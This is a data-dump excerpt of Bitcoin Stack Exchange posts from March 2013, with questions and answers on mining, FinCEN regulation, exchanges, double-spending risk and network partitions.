  <row Id="8548" PostTypeId="2" ParentId="8526" CreationDate="2013-03-20T19:09:00.230" Score="1" Body="&lt;p&gt;&lt;code&gt;bitcoind&lt;/code&gt; is a daemon, it needs a shell to run: a web host is definitely not enough.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-03-20T19:09:00.230" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8549" PostTypeId="2" ParentId="8545" CreationDate="2013-03-20T20:20:15.667" Score="6" Body="&lt;p&gt;A really quick answer is this: The proof of work system is a solution to the distributed synchronization issue; in another guise it is called the &lt;a href=&quot;http://en.wikipedia.org/wiki/Byzantine_fault_tolerance&quot;&gt;Byzantine Generals' Problem&lt;/a&gt;. Thus, any solution to this problem is an acceptable alternative, however the proof-of-work solution is particularly suited to distributed systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read Satoshi Nakamoto's discussion of this &lt;a href=&quot;http://www.mail-archive.com/cryptography@metzdowd.com/msg09997.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="682" LastEditorUserId="682" LastEditDate="2013-03-20T20:35:31.617" LastActivityDate="2013-03-20T20:35:31.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8551" PostTypeId="1" AcceptedAnswerId="13299" CreationDate="2013-03-20T22:24:43.177" Score="2" ViewCount="291" Body="&lt;p&gt;&lt;a href=&quot;http://www.fincen.gov/statutes_regs/guidance/html/FIN-2013-G001.html&quot; rel=&quot;nofollow&quot;&gt;Fincen's March 2013 report&lt;/a&gt; defines:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A user is a person that obtains virtual currency to purchase goods or services.&lt;/li&gt;&#xA;&lt;li&gt;An exchanger is a person engaged as a business in the exchange of virtual currency for real currency, funds, or other virtual currency.&lt;/li&gt;&#xA;&lt;li&gt;An administrator is a person engaged as a business in issuing (putting into circulation) a virtual currency, and who has the authority to redeem (to withdraw from circulation) such virtual currency.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that to in order be considered an exchanger or administrator by the above definition, a person must be &quot;engaged as a business&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is it true that a private person who mines at home, or a private person that sells Bitcoins in exchange for fiat, isn't in fact considered an exchanger or administrator, but rather a user (and is therefore not a Money Service Business and is exempt from regulation)?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-09-13T22:19:36.223" Title="Do private people mining or exchanging Bitcoin with Fiat fall under FINCEN's definition of &quot;user&quot;?" Tags="|legal|regulation|fincen|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8553" PostTypeId="2" ParentId="6086" CreationDate="2013-03-20T23:05:41.803" Score="3" Body="&lt;p&gt;Had the same need and could not find easy to use solutions so I ended up rolling my own. I am new to bitcoin and crypto so use with care:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/pavlos-christoforou/bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pavlos-christoforou/bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3458" LastActivityDate="2013-03-20T23:05:41.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8554" PostTypeId="1" CreationDate="2013-03-21T04:08:56.240" Score="13" ViewCount="504" Body="&lt;p&gt;Major US cities restore connectivity locally for a couple of days, but the internet islands are separated (or have very poor interconnectivity).  Two days later, connectivity is restored resulting in, say 50 separate blockchains full of transactions.  NYC leads the pack with 5% of all transactions and is the dominant chain.  How do we reconcile 95% of the transactions (from 49 chains, less than 5% each) ?  Would anyone in their right mind use bitcoin in times of trouble?&lt;/p&gt;&#xA;" OwnerUserId="3460" LastEditorUserId="3460" LastEditDate="2013-03-21T04:17:41.887" LastActivityDate="2013-09-15T10:30:37.953" Title="Scenario: disaster splits the Internet into dozens unconnected fragments" Tags="|security|blockchain.info|future-proof|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8555" PostTypeId="2" ParentId="8554" CreationDate="2013-03-21T07:08:32.913" Score="-4" Body="&lt;p&gt;I can see a close system being very helpful for local businesses. Imagine I want to go to dinner. After eating I pay for it through a terminal connected to the rest of the offline system the restaurant uses as they do now when inputting order, discount's etc. Go to the grocery store and pay for your food at the checkout, (closed system) Yeah, it does nothing for purchasing online, but would it be that difficult to go down to the municipal building to pay your water bill?&lt;/p&gt;&#xA;" OwnerUserId="3467" LastActivityDate="2013-03-21T07:08:32.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8556" PostTypeId="1" CreationDate="2013-03-21T09:12:57.730" Score="3" ViewCount="1422" Body="&lt;p&gt;Recently, I bought £350 worth of bitcoins back when they where £37 the other day. They've taken over a day to get through to me and when I have received them I only have 7.7 (compared to the 9.1 that I need). I appears they have charged me at today's prices instead of the ones that where the current price the other day. Even though when I purchased the coins it said I was buying £350@37 a coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it normal practice to do this?&lt;/p&gt;&#xA;" OwnerUserId="3471" LastEditorUserId="4525" LastEditDate="2013-04-21T09:23:52.387" LastActivityDate="2017-09-03T22:32:26.043" Title="Bought BTC from Blockchain but Received Less Than Expected" Tags="|blockchain.info|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8557" PostTypeId="1" CreationDate="2013-03-21T11:12:40.777" Score="2" ViewCount="1026" Body="&lt;p&gt;If I wanted to close my bank account and perhaps set up a direct deposit through my employer, is that possible?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, will there or are there any Bitcoin debit cards?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still trying to understand this.&lt;/p&gt;&#xA;" OwnerUserId="3472" LastEditorUserId="105" LastEditDate="2013-07-20T11:12:16.367" LastActivityDate="2020-11-19T08:23:43.490" Title="Debit cards &amp; direct deposit?" Tags="|debitcard|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8558" PostTypeId="2" ParentId="8554" CreationDate="2013-03-21T11:58:37.480" Score="2" Body="&lt;p&gt;Most merchants accepting Bitcoin transactions require six confirmations, so if there is no connectivity then, of course, there would not be any confirmations.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while continuous connectivity isn't required to use bitcoin in commerce, at least sporadic connectivity is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For merchants who accept on 0/unconfirmed (e.g., retail), the rely on protection from the network to know of a race attack.  Without connectivity, that protection is gone and the merchant is vulnerable.  If the customer can be trusted, then a transaction on 0/unconfirmed can be accepted even without continuous connectivity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For when extended outages occur, there wouldn't be multiple blockchains as there's no chance some isolated node (or region of connected nodes) would have the hashing capacity to make it to even one or two confirmations nonetheless six confirmations.  So there's no isolated forking issues to be concerned about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Futher discussion on the suitability of bitcoin on an &quot;disconnected island&quot; occurs here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=106302.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=106302.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-21T11:58:37.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8559" PostTypeId="2" ParentId="8557" CreationDate="2013-03-21T13:34:47.073" Score="1" Body="&lt;p&gt;You would have to ask your employer, but I have never seen that before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For bitcoin debit cards read this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.engadget.com/2012/08/20/bitinstant-founder-says-bitcoin-debit-card-to-launch-within-next/&quot; rel=&quot;nofollow&quot;&gt;http://www.engadget.com/2012/08/20/bitinstant-founder-says-bitcoin-debit-card-to-launch-within-next/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3474" LastActivityDate="2013-03-21T13:34:47.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8560" PostTypeId="2" ParentId="4471" CreationDate="2013-03-21T17:43:28.127" Score="1" Body="&lt;p&gt;My list of advantages for Bitcoin over credit cards (and money transfers) are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;instant free registration, no id checks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(for merchants, their customers, &quot;banks&quot;, or any type of user)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;increased anonymity and control over privacy&lt;/li&gt;&#xA;&lt;li&gt;no self-regulation&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3111/will-bitcoin-suffer-from-a-mining-tragedy-of-the-commons-when-mining-fees-drop-t/8546#8546&quot;&gt;1&lt;/a&gt;, no limits&lt;/li&gt;&#xA;&lt;li&gt;no authority exists to report to tax and other authorities&lt;/li&gt;&#xA;&lt;li&gt;greater security&lt;/li&gt;&#xA;&lt;li&gt;lower transaction fees&lt;/li&gt;&#xA;&lt;li&gt;available 24/7 on demand&lt;/li&gt;&#xA;&lt;li&gt;irreversible transactions&lt;/li&gt;&#xA;&lt;li&gt;global acceptance&lt;/li&gt;&#xA;&lt;li&gt;e-wallet ownership card can be duplicated and backed up unlimited times&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think #1 - 4 are the most significant advantages. I elaborated on some of the reasons in comments below some of the other answers on this page. #5 would also be but the P2P systems are &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3111/will-bitcoin-suffer-from-a-mining-tragedy-of-the-commons-when-mining-fees-drop-t/8546#8546&quot;&gt;not theoretically secure against deep-pocketed attackers&lt;/a&gt; (e.g. a ruthless government perhaps China or other soon-to-be totalitarian state).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I am not advocating tax avoidance, nor giving any tax nor financial advice. I am merely stating significant differences with which some people might think are advantages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3111/will-bitcoin-suffer-from-a-mining-tragedy-of-the-commons-when-mining-fees-drop-t/8546#8546&quot;&gt;1&lt;/a&gt; The P2P systems don't impose any regulations nor restraints on transactions. FinCEN's guidance (FIN-2013-G001) is that creating and using decentralized currencies for &lt;em&gt;purchasing&lt;/em&gt; goods and services are not regulated as money transmitters, but &lt;em&gt;selling&lt;/em&gt; the currencies is.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-03-21T21:03:42.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8561" PostTypeId="1" CreationDate="2013-03-21T17:51:29.247" Score="0" ViewCount="484" Body="&lt;p&gt;The whole Bitcoin world is waiting for ButterflyLabs' entree in the mining scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their promised products are quite revolutionary and so they can cause great fluctuations in the BTC price when they finally arrive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To know how the Bitcoin network would be affected, it would be very useful and interesting to have an idea on how much hashpower will enter for mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calculations of the profits from their miners with the current difficulty are absurd (like a $ 1,299 miner being paid back in just 4 days) and make no sense.&#xA;When making estimates for your profit you need also to consider changes in the difficulty, which are predicted to be enormous when ButterflyLabs' hardware launches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to come to my question, I know that Butterfly Labs is not the most transparent company and that they failed to keep most of their promises. But did they ever mentioned numbers or approximations of how many pre-orders they already received? Or how much hashpower they would account for?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="5406" LastEditDate="2016-02-21T09:17:32.440" LastActivityDate="2016-02-21T09:17:32.440" Title="Are there numbers on how many pre-orders (or total GH/s) ButterflyLabs already received?" Tags="|asic|difficulty|hashpower|mining-hardware|butterfly-labs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8563" PostTypeId="1" AcceptedAnswerId="8570" CreationDate="2013-03-21T19:11:22.313" Score="2" ViewCount="216" Body="&lt;p&gt;When exchanging funds or services face-to-face, is there a risk of a double-spending attack? If there is, how could it be technically done?&lt;/p&gt;&#xA;" OwnerUserId="3292" LastActivityDate="2013-03-21T20:59:25.820" Title="Is there a risk of double-spending when making a face-to-face transaction?" Tags="|security|exchanges|doublespend|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8564" PostTypeId="1" AcceptedAnswerId="8575" CreationDate="2013-03-21T19:11:59.013" Score="2" ViewCount="898" Body="&lt;p&gt;The Mt. Gox &lt;a href=&quot;https://support.mtgox.com/entries/20195237-General-Questions&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt; reads:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unfortunately we do not accept any credit or debit payment&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why is this so? It seems like the most natural way to buy bitcoin would be to pay for it using money in my bank account. However this very method seems to be avoided almost everywhere.&lt;/p&gt;&#xA;" OwnerUserId="1625" LastActivityDate="2013-03-21T23:05:56.663" Title="Why don't most Bitcoin exchanges like Mt. Gox accept debit cards?" Tags="|exchanges|debitcard|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8565" PostTypeId="2" ParentId="8564" CreationDate="2013-03-21T19:26:45.870" Score="2" Body="&lt;p&gt;No one will trade you Bitcoins for credit/debit because these kinds of transactions are highly prone to fraud and are easily reversible, while the Bitcoin side of the transaction is not. It's entirely too easy for me to call my bank and have a charge reversed - and now I've got your coins and my dollars and you have nothing.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-03-21T19:26:45.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8566" PostTypeId="2" ParentId="7662" CreationDate="2013-03-21T19:44:54.777" Score="0" Body="&lt;p&gt;Lloyd's answer using blockchain sounds like the best if you haven't already bought the UKash vouchers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do have the UKash, then an alternative is to deposit UKash at VirWoX, then convert to SLL, then to BTC. I just tried it. It was quick and easy, but I worked out that I ended up paying ~£5 in transaction fees on an original UKash value of £20, so its not very efficient.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also restrictions on VirWoX that you can only convert whole GBPs and you must buy a minimum of 0.2 BTC. There is a 15% deposit fee on UKash, which with £10 vouchers leaves you with £8.50 - 50p of which cannot be used because of the whole GBP restriction. Depending on the exchange rate the £8 might not be tradable if it is worth less than 0.2 BTC. (You may have guessed that I experimented with a £10 UKash voucher then had to go and buy another one).&lt;/p&gt;&#xA;" OwnerUserId="3466" LastActivityDate="2013-03-21T19:44:54.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8567" PostTypeId="2" ParentId="8554" CreationDate="2013-03-21T20:08:19.367" Score="1" Body="&lt;p&gt;50 different views of the current state of the network develop. I'm going to assume that 5% of mining power is also in NYC. What happens is that when the network problems are lifted, the NYC blockchain instantly &quot;wins&quot;. Every other miner loses all of their work. Consequently, there is zero reason to mine unless you will win the race.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a funny thing happens. People in every non-dominant region have an incentive to connect to a well-informed region to find out about new blocks. A satellite connection of about 10 Kbps is enough to keep up with the network. Once they have mined their block, they might as well tell local merchants about it, keeping them in sync too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But let's suppose for a moment that satellite internet is entirely out of the question. Would a station wagon full of tapes driving down the highway be enough to keep your miner in sync? Not really, unless you're very close to a well-informed node. However, it might be worth it to somebody who wanted to get their transactions in or check on their transactions.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Would anyone in their right mind use bitcoin in times of trouble?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That depends on the disaster. If this is a freak series of coincidences that caused all of these redundant systems to stop working all at once, then I think everybody is going to wait. What's harder, trying to figure out whether you could get scammed, or closing shop for 24 hours?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if this were an alien invasion that was here to stay, I think people would continue to use bitcoin; however, they'd fall back more often on trust based systems. They might refuse to deal with new customers unless they were recommended by an old customer. Occasional station wagons would keep merchants reasonably in sync.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-03-21T20:08:19.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8568" PostTypeId="1" CreationDate="2013-03-21T20:13:21.637" Score="8" ViewCount="27544" Body="&lt;p&gt;I'm a newbie. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the basic equation for computing profit from mining given gigahash per second of the miner, timeframe, miner costs, and current bitcoin economy stats like mining difficulty and dollars per coin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what are some URLs that have these stats always up to date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for the equation, not an online calculator. &lt;/p&gt;&#xA;" OwnerUserId="3482" LastEditorUserId="5406" LastEditDate="2016-02-21T09:16:38.237" LastActivityDate="2016-02-21T09:16:38.237" Title="Equation for mining profit" Tags="|mining-profitability|" AnswerCount="2" CommentCount="0" ClosedDate="2016-02-21T09:16:43.237" ContentLicense="CC BY-SA 3.0" />
  <row Id="8569" PostTypeId="2" ParentId="8564" CreationDate="2013-03-21T20:17:32.960" Score="1" Body="&lt;p&gt;&quot;money from my bank account&quot; would be more like Dwolla or Popmoney. There are plenty of exchanges that accept Dwolla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Debit cards, and more so credit cards, are not bank to bank transfers. The money goes through a third party processing network which will have its own fees and chargeback requirements and rules, all of which get very complicated. I'm sure you've heard of some of these networks, and seen the logos for many more on ATMs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T2IAw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3483" LastActivityDate="2013-03-21T20:17:32.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8570" PostTypeId="2" ParentId="8563" CreationDate="2013-03-21T20:59:25.820" Score="1" Body="&lt;p&gt;I proffer that it would depend on the tools used to make the transaction and broadcast it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming use of something like &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wallet for Android&lt;/a&gt; or even a laptop running Bitcoin-Qt, the chances are &lt;em&gt;very&lt;/em&gt; unlikely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A malicious user would have to connect to the network with two devices simultaneously and broadcast the real transaction (the one being &quot;sent&quot; to the vendor) milliseconds after the malicious transaction. The vendor's client would have to see the real transaction before the malicious transaction, give the item to the malicious buyer, and depart company before realizing he's been had.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply put, a malicious user would have to be connected to more nodes in the network than the vendor and NOT be connected to any of the nodes to which the vendor is connected when broadcasting the malicious transaction, probably out at least one or two degrees of separation. This would ensure enough latency to ensure the vendor sees the real transaction first and surrenders the goods before the vendor's client says that other nodes think another transaction is of higher priority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this can be avoided by waiting for a confirmation, but in real commerce, that may not feasible.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-03-21T20:59:25.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8571" PostTypeId="1" CreationDate="2013-03-21T21:14:54.030" Score="1" ViewCount="140" Body="&lt;p&gt;From the official Bitcoin FAQ:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Could miners collude to give themselves money or to fundamentally change the nature of Bitcoin?&lt;/p&gt;&#xA;&lt;p&gt;... Bitcoin is a distributed network, so any changes implemented to the&#xA;system must be accepted by all users. Someone trying to change the way&#xA;Bitcoins are generated would have to convince every user to download&#xA;and use their software&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If somebody hacked bitcoin.org, couldn't they send out an update to the Bitcoin protocol/client that contained malicious &amp;quot;steal all your money&amp;quot; code?&lt;/p&gt;&#xA;&lt;p&gt;Since the update came from official sources, everyone running bitcoin would see this as a regular and standard update, when it actually was malware.&lt;/p&gt;&#xA;" OwnerUserId="1625" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-03-22T01:08:29.827" Title="Would bitcoin be compromised if the officially distributed executable was?" Tags="|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8572" PostTypeId="1" CreationDate="2013-03-21T22:12:17.370" Score="15" ViewCount="2521" Body="&lt;p&gt;What are some ways that the powerful elite can thwart cryptocurrencies?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cryptocurrencies appear to be not susceptible to most forms of power, regulation, or control. Due to their decentralized and anonymous nature, they are often touted as an antidote to government, Wall Street, etc manipulation through currency and money. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How accurate is this? What are some ways that an actor who has an interest in say the dominance of Wall Street or just any old reason for using their power to control otherwise free actors could do so through cryptocurrency economies?&lt;/p&gt;&#xA;" OwnerUserId="3485" LastEditorUserId="2306" LastEditDate="2013-03-27T05:20:49.843" LastActivityDate="2014-02-12T16:19:27.950" Title="What are some ways that the powerful elite can thwart cryptocurrencies?" Tags="|bitcoin-economy|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8573" PostTypeId="2" ParentId="8572" CreationDate="2013-03-21T22:36:54.870" Score="17" Body="&lt;p&gt;Here are a few ways Bitcoin can be affected by the decisions of a wealthy investor:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Value manipulation: &lt;a href=&quot;http://www.businessinsider.com/927-people-own-half-of-the-bitcoins-2013-12&quot; rel=&quot;nofollow noreferrer&quot;&gt;A wealthy investor&lt;/a&gt; can sell coins or purchase coins in such a rapid pace that the market sinks or rises to an unrecoverable level.  In real exchanges, the SEC protects investors from these hostile trades.  &lt;strong&gt;There is no SEC protection with Bitcoin.&lt;/strong&gt;  &lt;em&gt;Update: there apparently &lt;a href=&quot;http://www.sec.gov/News/PressRelease/Detail/PressRelease/1370539730583#.UfJ-fRaeid5&quot; rel=&quot;nofollow noreferrer&quot;&gt;is now SEC prosecution for Bitcoin matters&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Negative press / word of mouth: Part of the success of Bitcoin rests on it being freely exchanged for goods and services.  If Bitcoin becomes overly associated with the darker parts of the internet, then some businesses will become risk adverse and not want the additional scrutiny on their private ledgers (tax, audit, etc).  However if BTC is associated with &quot;good&quot; things then the inverse is likely to happen.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Protocol hacks: If an elite person discovered, or a team is funded to discover protocol issues with the Bitcoin network, and a flaw is found, that will undermine investor confidence in the system. (e.g. &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_Malleability&quot; rel=&quot;nofollow noreferrer&quot;&gt;Malleable Transactions&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Laws on M1, M2, M3 transfers: Bitcoin is unique in that it can be purchased with USD and sold back to Bitcoin and back to USD.  This feature is different than other items such as a calling card, gift card, Amazon coins don't have this two way feature.  The less isolated a currency is, then the more likely it will have regulations apply to it.  Regulations are supposed to protect the merchant and consumer, and these regulations will likely be placed on all exchanges.  It has already started with &lt;a href=&quot;http://www.libertariannews.org/2012/02/16/bitcoin-targeted-by-lasted-fincen-ruling-implications-are-profound/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the recent FinCEN announcement&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Manipulate or create a Internet outage, a massive sustained power outage, like the 2003 Northeast blackout, covering an area with a heavy miner concentration.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/9411/1878&quot;&gt;An over dependence on a single exchange&lt;/a&gt;, with no auditing or external oversight, could manipulate the currency value with a double set of books.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any player in the Bitcoin system who also needs to use the value of Bitcoin in a local currency will likely have most regulations placed where the BTC &amp;harr; currency conversion is done.  Identification &quot;checkpoints&quot; and other analysis will eventually be done on trades to identify the good guys from the bad.   Depending on which side you're on, this could be thwarting one's intentions.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-02-11T16:13:22.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8574" PostTypeId="1" CreationDate="2013-03-21T22:42:15.690" Score="1" ViewCount="201" Body="&lt;p&gt;I'm not an economist but....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some way of determining whether cryptocurrencies will be a cost effective way of trading compared to some established fiat currency like USD?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, might the cost of computing power and other costs necessary to trade cryptocurrency exceed the overhead costs of trading in say dollars?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some economics vocab words that are useful in this question?&lt;/p&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2013-04-17T18:17:01.573" Title="Long term cost of using cryptocurrencies" Tags="|bitcoin-economy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8575" PostTypeId="2" ParentId="8564" CreationDate="2013-03-21T23:05:56.663" Score="3" Body="&lt;p&gt;&lt;strong&gt;Main reasons :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Bitcoin is anonymous, free and irreversible. Credit and debit card transactions have to be reversible, Paypal transactions are reversible. So such a system would be a gold mine for card thieves, money launderers, scamers, etc. A relatively small website cannot face the risks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If you're dealing with credit cards you have to follow some regulations, pay charges to the card emitter network, etc.&lt;/p&gt;&#xA;" OwnerUserId="3486" LastActivityDate="2013-03-21T23:05:56.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8576" PostTypeId="2" ParentId="8556" CreationDate="2013-03-21T23:12:09.213" Score="2" Body="&lt;p&gt;Right, just called up and it looks like Barclays (The owners of PingIt) where completely overwhelemed at the point and so where slow to process it. The person I talked to was very helpful and is going to send me the extra amount now. I contacted him at this number: (+44) 7525 431876.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In hindsight, I think they where just incredibly busy with orders and so where slow putting it through. &lt;/p&gt;&#xA;" OwnerUserId="3471" LastActivityDate="2013-03-21T23:12:09.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8577" PostTypeId="1" CreationDate="2013-03-21T23:14:13.353" Score="2" ViewCount="1023" Body="&lt;p&gt;Where can I verify how much ASIC mining power has been shipped, how much has been pre-ordered, when it will be shipped, and at what rates and time frames more units will be shipped?&lt;/p&gt;&#xA;" OwnerUserId="3487" LastEditorUserId="5406" LastEditDate="2016-02-21T09:15:34.393" LastActivityDate="2016-02-21T09:15:34.393" Title="How much ASIC power has been, or is being, shipped in 2013?" Tags="|asic|hashpower|mining-hardware|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8579" PostTypeId="2" ParentId="8577" CreationDate="2013-03-21T23:47:38.463" Score="0" Body="&lt;p&gt;Nobody has that information but some supposed ASIC companies published how many preorders they had received (BFL). This would be a good indicator of the demand or amount of machines that will saturate the market.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2013-03-21T23:47:38.463" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8580" PostTypeId="1" CreationDate="2013-03-22T00:13:30.040" Score="0" ViewCount="211" Body="&lt;p&gt;I once heard somebody say that to overcome the absolute supply limit of 21 million bitcoins, one could start their own block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides the adoption concerns (most likely nobody would accept the new block chain as genuine in the currently existing Bitcoin network even if it had its own genesis block and wasn't just a fork), are there any networking problems with this? If, hypothetically, the adoption concerns could all be overridden, would there be any data conflicts with the existing block chain? Is the Bitcoin protocol designed to be able to use more than one block chain? Can the client handle it?&lt;/p&gt;&#xA;" OwnerDisplayName="user3488" LastActivityDate="2013-03-22T00:42:46.630" Title="What would Bitcoin be like with two block chains?" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
